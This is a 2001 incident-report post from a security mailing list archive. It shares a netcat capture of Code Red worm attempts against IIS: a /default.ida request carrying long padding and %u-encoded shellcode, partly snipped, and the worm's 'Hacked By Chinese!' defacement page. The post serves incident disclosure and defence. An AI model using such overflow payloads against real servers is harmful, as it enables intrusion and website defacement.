Security Incidents mailing list archives

Netcat Capture..

From: "Ken Pfeil" <Ken () infosec101 org>
Date: Wed, 1 Aug 2001 11:30:41 -0400

FYI,
4 attempts in the last hour. (11:30am EST, GMT -0500).

GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0
Content-type: text/xml
HOST:www.worm.com
 Accept: */*
Content-length: 3569

<Snip>

Content-type: text/xml
HOST:www.worm.com
 Accept: */*
Content-length: 3569

 c:\notworm LMTH
<html><head><meta http-equiv="Content-Type" content="text/html;
charset=english"><title>HELLO!</title></head><bady><hr size=5><font
color="red"><p align="center">Welcome to http://www.worm.com !<br><br>Hacked
By Chinese!</font></hr></bady></html>


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com

Current thread:

Snort Rules Jim Forster (Aug 01)
- Netcat Capture.. Ken Pfeil (Aug 01)